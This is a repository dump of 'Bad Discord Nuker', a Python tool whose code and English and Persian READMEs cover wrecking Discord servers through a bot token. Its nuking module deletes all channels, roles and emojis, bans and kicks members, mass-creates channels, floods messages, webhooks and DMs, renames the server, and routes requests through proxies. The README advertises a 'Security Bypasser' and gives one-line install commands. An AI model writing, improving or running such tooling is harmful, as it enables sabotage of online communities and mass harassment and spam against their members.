├── .gitignore ├── LICENSE ├── Plugins ├── __pycache__ │ ├── colors.cpython-310.pyc │ ├── colors.cpython-311.pyc │ ├── funcs.cpython-310.pyc │ ├── funcs.cpython-311.pyc │ ├── logger.cpython-310.pyc │ ├── logger.cpython-311.pyc │ ├── nuking.cpython-310.pyc │ ├── nuking.cpython-311.pyc │ ├── tools.cpython-310.pyc │ └── tools.cpython-311.pyc ├── colors.py ├── funcs.py ├── logger.py ├── nuking.py └── tools.py ├── README.md ├── Scraped ├── channels.txt ├── emojis.txt ├── members.txt ├── roles.txt └── webhooks.txt ├── Screenshots └── Screenshot1.png ├── Tools └── d-proxy.py ├── main.py ├── persian_docs └── README.md ├── requirements.txt └── server_icon.png /.gitignore: -------------------------------------------------------------------------------- 1 | test.py 2 | token.txt 3 | session.json 4 | ./setting_exe -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Bad Discord Stuff 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Plugins/__pycache__/colors.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/colors.cpython-310.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/colors.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/colors.cpython-311.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/funcs.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/funcs.cpython-310.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/funcs.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/funcs.cpython-311.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/logger.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/logger.cpython-310.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/logger.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/logger.cpython-311.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/nuking.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/nuking.cpython-310.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/nuking.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/nuking.cpython-311.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/tools.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/tools.cpython-310.pyc -------------------------------------------------------------------------------- /Plugins/__pycache__/tools.cpython-311.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LogiqueArchive/Discord-Nuker/f625805a5a661769a93fd1705bf18e93bf2b3466/Plugins/__pycache__/tools.cpython-311.pyc -------------------------------------------------------------------------------- /Plugins/colors.py: -------------------------------------------------------------------------------- 1 | 2 | 3 | class Palette: 4 | 5 | 6 | def __init__(self) -> None: 7 | # try: __import__("colorama").init() 8 | # except ModuleNotFoundError: 9 | # print("Warning colorama is not installed") 10 | 11 | self.colors = [ 12 | '\x1b[1;97m', 13 | '\x1b[1;91m', 14 | '\x1b[1;92m', 15 | '\x1b[1;93m', 16 | '\x1b[1;94m', 17 | '\x1b[1;95m', 18 | '\x1b[1;96m', 19 | '\x1b[0m', 20 | '\x1b[1;30m', 21 | '\x1b[41m\x1b[1;97m', 22 | '\x1b[m', 23 | '\x1b[93m', 24 | '\x1b[32m', 25 | '\x1b[95m', 26 | '\x1b[33m', 27 | '\x1b[1;96m', 28 | '\x1b[0;34m', 29 | '\x1b[1;97m', 30 | '\x1b[30m', 31 | '\x1b[31m', 32 | '\x1b[32m', 33 | '\x1b[33m', 34 | '\x1b[34m', 35 | '\x1b[35m', 36 | '\x1b[36m', 37 | '\x1b[37m', 38 | '\x1b[91m', 39 | '\x1b[92m', 40 | '\x1b[93m', 41 | '\x1b[95m', 42 | '\x1b[38;5;204m', 43 | '\x1b[38;5;220m', 44 | '\x1b[38;5;193m', 45 | '\x1b[38;5;216m', 46 | '\x1b[38;5;190m', 47 | '\x1b[38;5;231m', 48 | '\x1b[38;5;208m', 49 | '\x1b[38;5;106m', 50 | ] 51 | 52 | 53 | @property 54 | def error(self): 55 | return self.colors[9] 56 | 57 | 58 | @property 59 | def sky_blue(self): 60 | return self.colors[6] 61 | 62 | 63 | @property 64 | def red(self): 65 | return self.colors[1] 66 | 67 | 68 | @property 69 | def magenta(self): 70 | return self.colors[13] 71 | 72 | @property 73 | def sexy_blue(self): 74 | return self.colors[4] 75 | 76 | @property 77 | def grassy_green(self): 78 | return self.colors[12] 79 | 80 | @property 81 | def sunny_yellow(self): 82 | return self.colors[11] 83 | 84 | @property 85 | def fucked_up_blue(self): 86 | return self.colors[24] 87 | 88 | @property 89 | def better_grassy_green(self): 90 | return self.colors[27] 91 | 92 | @property 93 | def mustard(self): 94 | return self.colors[21] 95 | 96 | @property 97 | def grey(self): 98 | return self.colors[8] 99 | 100 | @property 101 | def better_purpule(self): 102 | return self.colors[23] 103 | 104 | @property 105 | def fuck(self): 106 | return "\033[0m" 107 | 108 | def print_all(self): 109 | for i in range(len(self.colors)): 110 | print(f"{self.colors[i]} Hello world {i}\033[0m") 111 | 112 | 113 | my_palette = Palette() -------------------------------------------------------------------------------- /Plugins/funcs.py: -------------------------------------------------------------------------------- 1 | from colorama import init 2 | from pystyle import Colorate, Colors, Center, Col, Add, Anime 3 | 4 | from Plugins.logger import Logger 5 | from Plugins.colors import Palette 6 | 7 | 8 | 9 | palette = Palette() 10 | 11 | 12 | 13 | class Funcs: 14 | 15 | @staticmethod 16 | def get_input(text: str, checker = True): 17 | 18 | 19 | 20 | text = f"{palette.red}{text}{palette.better_grassy_green}" 21 | 22 | v = input(text) 23 | if not checker(v): 24 | while not checker(v): 25 | Logger.Error.error("Try Again") 26 | v = input(text) 27 | 28 | return v 29 | 30 | @staticmethod 31 | def print_logo(): 32 | logo = """ 33 | :::!~!!!!!:. 34 | .xUHWH!! !!?M88WHX:. 35 | .X*#M@$!! !X!M$$$$$$WWx:. 36 | :!!!!!!?H! :!$!$$$$$$$$$$8X: 37 | !!~ ~:~!! :~!$!#$$$$$$$$$$8X: 38 | :!~::!H!< ~.U$X!?R$$$$$$$$MM! 39 | ~!~!!!!~~ .:XW$$$U!!?$$$$$$RMM! 40 | !:~~~ .:!M"T#$$$$WX??#MRRMMM! 41 | ~?WuxiW*` `"#$$$$8!!!!??!!! 42 | :X- M$$$$ `"T#$T~!8$WUXU~ 43 | :%` ~#$$$m: $ ~!~ ?$$$$$$ 44 | :!`.- ~T$$$$8xx. .xWW- ~""##*" 45 | ..... -~~:<` ! ~?T#$$@@W@*?$$ /` 46 | W$@@M!!! .!~~ !! .:XUW$W!~ `"~: $ : 47 | #"~~`.:x%`!! !H: !WM$$$$Ti.: .!WUn+!` 48 | :::~:!!`:X~ .: ?H.!u "$$$B$$$!W:U!T$$M~ 49 | .~~ :X@!.-~ ?@WTWo("*$$$W$TH$! ` 50 | Wi.~!X$?!-~ : ?$$$B$Wu("**$RM! 51 | $R@i.~~ ! : ~$$$$$B$$en:`` 52 | ?MXT@Wx.~ : ~"##*$$$$M~ 53 | """ 54 | 55 | 56 | print(Colorate.Vertical(Colors.DynamicMIX((Col.red, Col.dark_red)), logo)) -------------------------------------------------------------------------------- /Plugins/logger.py: -------------------------------------------------------------------------------- 1 | from pystyle import * 2 | from colorama import Fore 3 | 4 | from Plugins.colors import Palette 5 | 6 | 7 | 8 | 9 | class Logger: 10 | class Success: 11 | @staticmethod 12 | def create(value): 13 | print(f"{Col.light_blue}[{Col.green}+{Col.light_blue}]{Col.light_green} Created{Fore.GREEN}", value) 14 | 15 | @staticmethod 16 | def delete(value): 17 | print(f"{Col.light_blue}[{Col.green}+{Col.light_blue}]{Col.light_green} Deleted{Fore.GREEN}", value) 18 | 19 | @staticmethod 20 | def change(value): 21 | print(f"{Col.light_blue}[{Col.green}+{Col.light_blue}]{Col.purple} Changed{Fore.LIGHTBLUE_EX}", value) 22 | 23 | @staticmethod 24 | def success(value): 25 | print(f"{Col.light_blue}[{Col.green}+{Col.light_blue}]{Fore.GREEN}", value) 26 | 27 | 28 | class Error: 29 | @staticmethod 30 | def create(value): 31 | print(f"{Col.red}[-]{Fore.RED} Failed to Create{Fore.RED + Fore.YELLOW}", value) 32 | 33 | @staticmethod 34 | def delete(value): 35 | print(f"{Col.red}[-]{Fore.RED} Failed to Delete{Fore.RED + Fore.YELLOW}", value) 36 | 37 | @staticmethod 38 | def change(value): 39 | print(f"{Col.red}[-]{Fore.RED} Failed to Change{Fore.RED + Fore.YELLOW}", value) 40 | 41 | @staticmethod 42 | def error(value): 43 | print(f"{Col.red}[-]{Fore.RED + Fore.YELLOW}", value) 44 | 45 | class Log: 46 | @staticmethod 47 | def started(): 48 | logo = """ 49 | ██████ ▄▄▄█████▓ ▄▄▄ ██▀███ ▄▄▄█████▓▓█████ ▓█████▄ ▐██▌ 50 | ▒██ ▒ ▓ ██▒ ▓▒▒████▄ ▓██ ▒ ██▒▓ ██▒ ▓▒▓█ ▀ ▒██▀ ██▌ ▐██▌ 51 | ░ ▓██▄ ▒ ▓██░ ▒░▒██ ▀█▄ ▓██ ░▄█ ▒▒ ▓██░ ▒░▒███ ░██ █▌ ▐██▌ 52 | ▒ ██▒░ ▓██▓ ░ ░██▄▄▄▄██ ▒██▀▀█▄ ░ ▓██▓ ░ ▒▓█ ▄ ░▓█▄ ▌ ▓██▒ 53 | ▒██████▒▒ ▒██▒ ░ ▓█ ▓██▒░██▓ ▒██▒ ▒██▒ ░ ░▒████▒░▒████▓ ▒▄▄ 54 | ▒ ▒▓▒ ▒ ░ ▒ ░░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░ ▒ ░░ ░░ ▒░ ░ ▒▒▓ ▒ ░▀▀▒ 55 | ░ ░▒ ░ ░ ░ ▒ ▒▒ ░ ░▒ ░ ▒░ ░ ░ ░ ░ ░ ▒ ▒ ░ ░ 56 | ░ ░ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ░ ░ ░ 57 | ░ ░ ░ ░ ░ ░ ░ ░ 58 | ░ 59 | 60 | """ 61 | System.Clear() 62 | print(Palette().red, Center.XCenter(logo)) 63 | print(); print() -------------------------------------------------------------------------------- /Plugins/nuking.py: -------------------------------------------------------------------------------- 1 | import requests as req, random, time, base64 2 | 3 | from Plugins.tools import Tools 4 | 5 | 6 | class Nuking: 7 | def __init__(self, token: str, guild_id: str) -> None: 8 | self.headers = {"Authorization": "Bot %s" % token, 9 | "X-Audit-Log-Reason": "Trash Nuker"} 10 | self.guild, self.token = guild_id, token 11 | 12 | def delete_channel(self, channel_id: str): 13 | try: 14 | url = Tools.api("/channels/%s" % channel_id) 15 | r = req.delete(url, headers=self.headers, proxies=Tools.proxy()) 16 | 17 | if r.status_code == 200: 18 | return True 19 | else: 20 | if r.status_code == 429: 21 | # print(r.json()) 22 | try: 23 | time.sleep(r.json()["retry_after"]) 24 | return self.delete_channel(channel_id) 25 | 26 | except Exception as err: 27 | print(err) 28 | return False 29 | return False 30 | except: return False 31 | 32 | 33 | 34 | def create_channel(self, name: str, channel_type: int): 35 | try: 36 | url = Tools.api("/guilds/%s/channels" % self.guild) 37 | payload = {"name": name, "type": channel_type} 38 | r = req.post(url, headers=self.headers, json=payload, proxies=Tools.proxy()) 39 | 40 | if r.status_code == 201: 41 | return r.json()["id"] 42 | else: 43 | return False 44 | except: return False 45 | 46 | 47 | def rename_channel(self, name: str, channel: str): 48 | try: 49 | url = Tools.api(f"/channels/{channel}") 50 | payload = {"name": name } 51 | 52 | r = req.patch(url, json=payload, headers=self.headers) 53 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 54 | return True 55 | else: 56 | return False 57 | except: return False 58 | 59 | 60 | 61 | 62 | def create_role(self, name: str): 63 | try: 64 | url = Tools.api("/guilds/%s/roles" % self.guild) 65 | payload = {"name": name, "hoist": True, "mentionable": True, "color": random.randint(0, 16777215)} 66 | r = req.post(url, headers=self.headers, json=payload, proxies=Tools.proxy()) 67 | 68 | if r.status_code == 200: 69 | return r.json()["id"] 70 | else: 71 | return False 72 | except: return False 73 | 74 | 75 | 76 | 77 | def delete_role(self, role_id: str): 78 | try: 79 | url = Tools.api("/guilds/%s/roles/%s" % (self.guild, role_id)) 80 | 81 | r = req.delete(url, headers=self.headers, proxies= Tools.proxy()) 82 | 83 | if r.status_code == 204: 84 | return True 85 | else: 86 | if r.status_code == 429: 87 | # print(r.json()) 88 | try: 89 | time.sleep(r.json()["retry_after"]) 90 | return self.delete_role(role_id) 91 | 92 | except Exception as err: 93 | print(err) 94 | return False 95 | else: 96 | return False 97 | except: return False 98 | 99 | 100 | def rename_role(self, role_id: str, name: str): 101 | try: 102 | url = Tools.api("/guilds/%s/roles/%s" % (self.guild, role_id)) 103 | payload = {"name": name, "color": random.randint(0, 16777215)} 104 | 105 | r = req.patch(url, headers=self.headers, json=payload, proxies= Tools.proxy()) 106 | 107 | if r.status_code == 204 or r.status_code == 201 or r.status_code == 200: 108 | return True 109 | else: 110 | if r.status_code == 429: 111 | # print(r.json()) 112 | try: 113 | time.sleep(r.json()["retry_after"]) 114 | return self.rename_role(role_id, name) 115 | 116 | except Exception as err: 117 | print(err) 118 | return False 119 | else: 120 | return False 121 | except: return False 122 | 123 | 124 | def ban(self, member_id: str): 125 | try: 126 | url = Tools.api(f"guilds/{self.guild}/bans/{member_id}") 127 | 128 | r = req.put(url, headers=self.headers, proxies=Tools.proxy()) 129 | 130 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 131 | return True 132 | else: 133 | return False 134 | except: return False 135 | 136 | 137 | 138 | def unban(self, member_id: str): 139 | try: 140 | url = Tools.api(f"guilds/{self.guild}/bans/{member_id}") 141 | 142 | r = req.delete(url, headers=self.headers, proxies=Tools.proxy()) 143 | 144 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 145 | return True 146 | else: 147 | return False 148 | except: return False 149 | 150 | 151 | 152 | def kick(self, member_id: str): 153 | try: 154 | url = Tools.api(f"guilds/{self.guild}/members/{member_id}") 155 | 156 | r = req.delete(url, headers=self.headers, proxies=Tools.proxy()) 157 | 158 | 159 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 160 | return True 161 | else: 162 | return False 163 | except: return False 164 | 165 | 166 | 167 | def create_webhook(self, channel: str): 168 | try: 169 | url = Tools.api(f"/channels/{channel}/webhooks") 170 | payload = {"name": "Nuked by trash Nuker"} 171 | 172 | r = req.post(url, headers=self.headers, json=payload, proxies=Tools.proxy()) 173 | 174 | if r.status_code == 200 and "url" in str(r.json()): 175 | return r.json()["url"] 176 | else: 177 | if r.status_code == 429: 178 | print(r.json()) 179 | try: 180 | time.sleep(r.json()["retry_after"]) 181 | return self.create_webhook(channel) 182 | 183 | except Exception as err: 184 | print(err) 185 | return False 186 | return False 187 | except: return False 188 | 189 | 190 | 191 | def send_webhook(self, url: str,message: str, times: int): 192 | try: 193 | payload = { 194 | "username": "ZZZZZZZZZZ", 195 | "content": message, 196 | "avatar_url": "https://cdn.discordapp.com/attachments/1054650838129332255/1189847060082606121/download.jpg?ex=659fa66d&is=658d316d&hm=411ec5aeef0752758152a1bb43df4a325f6bc625c3a532dc6db7201fbd3f09e0&" 197 | 198 | } 199 | 200 | for i in range(times): 201 | t = req.post(url, json=payload, proxies=Tools.proxy()) 202 | except: pass 203 | 204 | def send_message(self, channel: str,message: str): 205 | try: 206 | url = Tools.api(f"channels/{channel}/messages") 207 | 208 | payload = { 209 | "content": message 210 | 211 | } 212 | 213 | r = req.post(url, json=payload, proxies=Tools.proxy(), headers=self.headers) 214 | 215 | if r.status_code == 200: 216 | return True 217 | else: 218 | return False 219 | except: return False 220 | 221 | def change_nick(self, member_id: str, nick: str): 222 | try: 223 | url = Tools.api(f"/guilds/{self.guild}/members/{member_id}") 224 | paylaod = {"nick": nick} 225 | 226 | r = req.patch(url, json=paylaod, headers=self.headers, proxies=Tools.proxy()) 227 | 228 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 229 | return True 230 | else: 231 | return False 232 | except: return False 233 | 234 | def rename_guild(self, name: str): 235 | try: 236 | url = Tools.api(f"/guilds/{self.guild}") 237 | payload = {"name": name} 238 | 239 | r = req.patch(url, headers=self.headers, json=payload, proxies=Tools.proxy()) 240 | 241 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 242 | return True 243 | else: 244 | return False 245 | except: return False 246 | 247 | def change_guild_icon(self, icon_path: str): 248 | try: 249 | url = Tools.api(f"guilds/{self.guild}") 250 | icon_format = icon_path.split(".") 251 | icon_format = icon_format[len(icon_format)-1] 252 | with open(icon_path, "rb") as icon: 253 | payload = {"icon": f"data:image/{icon_format};base64,{base64.b64encode(icon.read()).decode(encoding='utf8')}"} 254 | 255 | r = req.patch(url, headers=self.headers, json=payload, proxies=Tools.proxy()) 256 | 257 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 258 | return True 259 | else: 260 | return False 261 | except: return False 262 | 263 | def remove_emoji(self, emoji_id: str): 264 | try: 265 | url = Tools.api(f"guilds/{self.guild}/emojis/{emoji_id}") 266 | 267 | r = req.delete(url, headers=self.headers, proxies=Tools.proxy()) 268 | 269 | 270 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 271 | return True 272 | else: 273 | return False 274 | except: return False 275 | 276 | def send_direct_message(self, user: str, message: str): 277 | try: 278 | url = Tools.api("/users/@me/channels") 279 | payload = {"recipient_id": user} 280 | 281 | r = req.post(url, json=payload, headers=self.headers, proxies=Tools.proxy()) 282 | 283 | if r.status_code != 200: return False 284 | 285 | id = r.json()["id"] 286 | 287 | return self.send_message(id, message) 288 | except: return False 289 | 290 | 291 | def sussy_create_channel(self): 292 | url = Tools.api(f"/guilds/{self.guild}") 293 | 294 | payload = { 295 | "public_updates_channel_id": "1", 296 | "rules_channel_id": "1" 297 | } 298 | 299 | r = req.patch(url, json=payload, headers=self.headers) 300 | if r.status_code == 200 or r.status_code == 201 or r.status_code == 204: 301 | return True 302 | else: 303 | return False 304 | 305 | -------------------------------------------------------------------------------- /Plugins/tools.py: -------------------------------------------------------------------------------- 1 | import requests as req, os, random 2 | 3 | 4 | from Plugins.logger import Logger 5 | 6 | 7 | 8 | class Tools: 9 | @staticmethod 10 | def check_token(token: str): 11 | if req.get("https://discord.com/api/v10/users/@me", headers={"Authorization": "Bot %s" % token}).status_code == 200: 12 | return True 13 | else: 14 | Logger.Error.error("Invalid token %s" % token) 15 | return False 16 | 17 | @staticmethod 18 | def get_guilds(token: str): 19 | headers = {"Authorization": "Bot %s" % token , "Content-Type": 'application/json'} 20 | url = Tools.api("users/@me/guilds") 21 | 22 | request = req.get(url, headers=headers) 23 | 24 | if request.status_code != 200 or len(request.json()) == 0: 25 | return False 26 | 27 | return [[i["id"], i["name"]] for i in request.json()] 28 | 29 | 30 | 31 | @staticmethod 32 | def proxy(): 33 | if os.path.exists("./proxies.txt"): 34 | with open("./proxies.txt", "r") as file: 35 | lines = file.readlines() 36 | 37 | if len(lines) != 0: 38 | p = random.choice( 39 | [i.strip() for i in lines] 40 | ) 41 | return {"http": p, "https": p} 42 | else: 43 | return None 44 | 45 | @staticmethod 46 | def api(endpoint: str): 47 | base_api = "https://discord.com/api/v10/" 48 | if endpoint.startswith("/"): 49 | endpoint = endpoint[1:] 50 | 51 | return base_api+endpoint 52 | 53 | @staticmethod 54 | async def break_limit(base_api: str, token: str): 55 | chunk_size = 1000 56 | 57 | users = [] 58 | 59 | while True: 60 | headers = {"Authorization": "Bot %s" % token} 61 | parm = "?limit=%s" % chunk_size 62 | if len(users) != 0: 63 | parm+="&?after=%s" % users[::-1][0] 64 | 65 | r = req.get(base_api+parm, headers=headers) 66 | if r.status_code == 200: 67 | try: 68 | ids = [i["user"]["id"] for i in r.json()] 69 | except KeyError: 70 | ids = [i["id"] for i in r.json()] 71 | 72 | 73 | users+=ids 74 | 75 | if len(ids) < chunk_size: break 76 | else: 77 | break 78 | 79 | return users 80 | 81 | @staticmethod 82 | def chunker(text, chunk_size: int) -> list: 83 | length = len(text) 84 | num = 0 85 | chunks = [] 86 | 87 | while num < len(text): 88 | chunks.append(text[num:length-(length-(chunk_size))+num:]) 89 | num+=chunk_size 90 | 91 | return chunks 92 | 93 | @staticmethod 94 | def information(guild_id: str, token: str): 95 | url = Tools.api("users/@me") 96 | headers = {"Authorization": "Bot %s" % token} 97 | 98 | user = req.get(url, headers=headers) 99 | 100 | url = Tools.api(f"/guilds/{guild_id}") 101 | guild = req.get(url, headers=headers) 102 | 103 | 104 | info_dict = { 105 | "user": user.json(), 106 | "guild": guild.json() 107 | } 108 | return info_dict -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 💀 Bad Discord Nuker 💀 2 | 3 | 4 |
5 |
6 |
7 |
8 |
11 | [ How to install ] - 12 | [ Screenshots ] 13 | 14 |
15 | 16 | ایرانی هستید؟ [داکیومنشن فارسی](https://github.com/Bad-Discord/Discord-Nuker/tree/main/persian_docs/) 17 | 18 | ### *Features :* 19 | > - [x] *Spam in all channels* 20 | > - [x] *Delete all Role* 21 | > - [x] *Rename all Role* 22 | > - [x] *Delete all Channels* 23 | > - [x] *Rename all Channels* 24 | > - [x] *Delete all Emoji* 25 | > - [x] *Create many Channel* 26 | > - [x] *Ban all* 27 | > - [x] *Spam with Webhook* 28 | > - [x] *Spam with The Bot* 29 | > - [x] *Dm all* 30 | > - [x] *Nickname All* 31 | > - [x] *Update server Avatar* 32 | > - [x] *Update server Name* 33 | > - [x] *Security Bypasser* 34 | > - [x] *Proxy Support* 35 | > - [x] *Session Support* 36 | ## ⚗ Installation 37 | 38 | - Make sure you have python installed on your pc. 39 | - [Python3.7.12](https://www.python.org/downloads/release/python-3712/) or higher (except [Python3.12.0](https://www.python.org/downloads/release/python-3120/) it's trash) 40 | 41 | 42 | ### Windows: 43 | - Click on the "Code" Button on this repo and download ZIP 44 | - Extract zip 45 | - Open a terminal and paste this code in it: 46 | ```bash 47 | pip install -r requirements.txt; python main.python 48 | ``` 49 | - **Or** just open the `main.py` and let it install its requirements 50 | 51 | 52 | ### Termux 53 | - Here is the one line command for Installation: 54 | ```shell 55 | pkg update -y && pkg upgrade -y && pkg install python git && git clone https://github.com/Bad-Discord/Discord-Nuker && cd Discord-Nuker && pip install -r requirements.txt && python main.py 56 | ``` 57 | - Just copy and paste it in your Termux's shell 58 | 59 | 60 | 61 | ## 🤔 Usage 62 | 63 | ### Normal Usage 64 | - Use `python main.py` or run it manually by double click 65 | 66 | ### Using Sessions 67 | 68 | - Create a [Session](https://github.com/Bad-Discord/Discord-Nuker/#sessions) file and then run `python main.py
5 |
6 |
7 |
8 |
11 | [ How to install ] - 12 | [ Screenshots ] 13 | 14 |
15 | 16 | ### *قابلیت ها :* 17 | > - [x] *اسپم در تمامی چنل ها* 18 | > - [x] *دیلیت دادن تمامی رول ها* 19 | > - [x] *عوض کردن اسم تمامی رول ها* 20 | > - [x] *دیلیت دادن تمامی چنل ها* 21 | > - [x] *عوض کردن اسم تمامی چنل ها* 22 | > - [x] *دیلیت دادن تمامی اموجی ها* 23 | > - [x] *ساخت تعداد بسیاری چنل* 24 | > - [x] *بن کردن تمامی ممبر ها* 25 | > - [x] *اسپم با وبهوک* 26 | > - [x] *اسپم با بات* 27 | > - [x] *دایرکت دادن به همه* 28 | > - [x] *عوض کردن نیک نیم همه* 29 | > - [x] *عوض کردن عکس سرور* 30 | > - [x] *عوض کردن اسم سرور* 31 | > - [x] *دور زدن بات های امنیتی* 32 | > - [x] *پشتیبانی از پراکسی* 33 | > - [x] *پشتیبانی از سشن* 34 | ## ⚗ نصب و راه اندازی 35 | 36 | - اطمینان حاصل کنید که پایتون رو روی پیسی تون نصب کردید. 37 | - [Python3.7.12](https://www.python.org/downloads/release/python-3712/) یا ورژن های بعد تر (بجز [Python3.12.0](https://www.python.org/downloads/release/python-3120/) چون اشغاله) 38 | 39 | 40 | ### ویندوز: 41 | - روی دکمه ی سبز رنگ Code کلیک کنید و روی Download ZIP بزنید تا فایل زیپ رو دانلود کنید 42 | - فایل زیپ رو استخراج کنید و واردش بشید 43 | - توی فولدر فایل ها ، یک ترمینال باز کنید و کامند زیری رو توش پیست کنید: 44 | ```bash 45 | pip install -r requirements.txt; python main.python 46 | ``` 47 | - **یا** فقط فایل `main.py` رو باز کنید و بذارید خودش پیش نیاز هاشو نصب کنه 48 | 49 | 50 | ### ترموکس 51 | - کامند یک خطی برای نصب در ترموکس: 52 | ```shell 53 | pkg update -y && pkg upgrade -y && pkg install python git && git clone https://github.com/Bad-Discord/Discord-Nuker && cd Discord-Nuker && pip install -r requirements.txt && python main.py 54 | ``` 55 | - فقط کافیه که کپیش کنید و توی ترمینال ترموکس پیست کنید 56 | 57 | 58 | 59 | ## 🤔 استفاده 60 | 61 | ### استفاده معمولی 62 | - از `python main.py` استفاده کنید یا با دابل کلیک فایل رو باز کنید 63 | 64 | ### استفاده از سشن 65 | 66 | - یک [سشن فایل](https://github.com/Bad-Discord/Discord-Nuker/persian_docs/#سشن-ها) بسازید و بعد از `python main.py <سشن شما>` استفاده کنید 67 | 68 | ```bash 69 | python main.py session.json 70 | ``` 71 | 72 | 73 | ## سشن ها 74 | ### سشن چیست؟? 75 | در صورتی که بسیار تنبل هستید تا همان توکن بات معمولی خودتون رو هرسری توی سورس کد ما وارد کنید میتونید از سشن فایل ها استفاده کنید تا یکسری اطلاعات از پیش تعیین شده رو عین توکن توی سورستون استفاده کنید. 76 | 77 | - یک فایل با فورمت `.json` توی فولدر اصلی بسازید و کد زیر رو توش پیست کنید 78 | 79 | ```json 80 | { 81 | "Token": "توکن شما ", 82 | "SpamTexts": ["چند تکست", "برای اسپم"], 83 | "SpamAmount": 50, 84 | "ServerName": "اقو لاجیک اینجارو ناک کرد پسر", 85 | "SpamInviteLink": "discord.gg/cool-people" 86 | } 87 | ``` 88 | 89 | `Token`: توکن ربات شما 90 | 91 | `Spam Texts`: چند تکست برای فرستادن توی چنل ها و اسپم 92 | 93 | `SpamAmount`: تعداد دفعاتی که قرار است تکست ها اسپم شوند و چنل ها ساخته شوند 94 | 95 | `ServerName`: یک اسم برای تغییر دادن اسم سرور 96 | 97 | `SpamInviteLink`: اینوایت لینک سرور شما برای اسپم کردن 98 | 99 | ## 📸 اسکرین شات ها 100 | 101 |